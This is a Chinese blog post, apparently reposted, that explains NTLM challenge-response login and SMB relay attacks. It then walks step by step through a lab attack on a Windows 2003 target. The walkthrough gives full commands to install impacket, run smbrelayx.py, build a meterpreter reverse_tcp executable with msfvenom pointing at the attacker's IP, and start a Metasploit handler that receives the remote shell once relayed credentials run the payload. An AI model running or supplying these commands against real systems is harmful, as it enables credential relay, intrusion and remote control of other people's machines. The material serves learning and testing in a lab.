SMB重放攻击

0x01 原理

正常情况下:client端 --------- server端

1、正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地

2、接着,client端会将自己的username明文发送给DC[server]

3、此时,DC会生成一组8字节的随机数,也叫challenge[挑战码],返回给client端

4、当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response[响应],最后再将challenge,response和username一并发送给server端

5、server端在接收到client端传过来的这个三个值以后会将它们分别都转发给DC

6、DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密

7、最后,就剩比对了,把客户端传过来的response和在[6]中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败

 

中间人攻击:client端 ----- 攻击者 ----- server端

1、client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者

2、然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge

3、攻击者拿到这个challenge以后再把它返回给client端

4、而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端

5、最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证

7、server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了

 

0x02 目的

通过smb重放攻击获取目标机器的meterpreter

 

0x03 环境准备

1、目标机器:win2003

2、第三方机器:win2003

3、攻击机器:kali

 

0x04 攻击操作

1、下载安装impacket

安装impacket所依赖的加密库以及下载impacket到本地

pip install pycrypto

apt-get --reinstall install python-pyasn1 python-pyasn1-modules  (这一步操作可能会报一些错误,可自行百度解决)

git clone https://github.com/CoreSecurity/impacket.git

 

进入impacket目录,执行以下命令:

python setup.py install

 

进入example目录,执行以下命令

python smbrelayx.py -h 目标机器ip -e 本地生成的木马位置(由第2步生成)

1546508618936

 

会等待接受第三方机器传递过来的smb流量

 

2、利用msfvenom生成一个木马,用来反弹我们的meterpreter
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.74.136 LPORT=1234 -f exe -o /root/shell.exe

1546508843060

 

3、进入metasploit控制台,开始监听端口,等待反弹
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > set lhost 192.168.74.136
lhost => 192.168.74.136
msf exploit(multi/handler) > exploit

1546509098420

 

4、在第三方机器上执行如下命令,向攻击机器传送smb流量
net use \\192.168.74.136\c$ "123456" /user:"administrator"

备注:192.168.74.136是攻击机器的ip

1546509485027

 

5、攻击机器捕捉到了smb 的登录凭证hash,然后,它又接着拿着这个hash到192.168.74.142[也就是我们的目标机器]去尝试登录,其实这就是所谓的重放,一旦登录成功,就会自动执行我们的马[类似我们用wmic远程执行代码]

1546509450487

 

6、成功获取目标机器返回的meterpreter

1546509413407

 

来源

https://klionsec.github.io/2016/07/20/smb-replay-attack/

 

转载于:https://www.cnblogs.com/ldhbetter/p/10216811.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值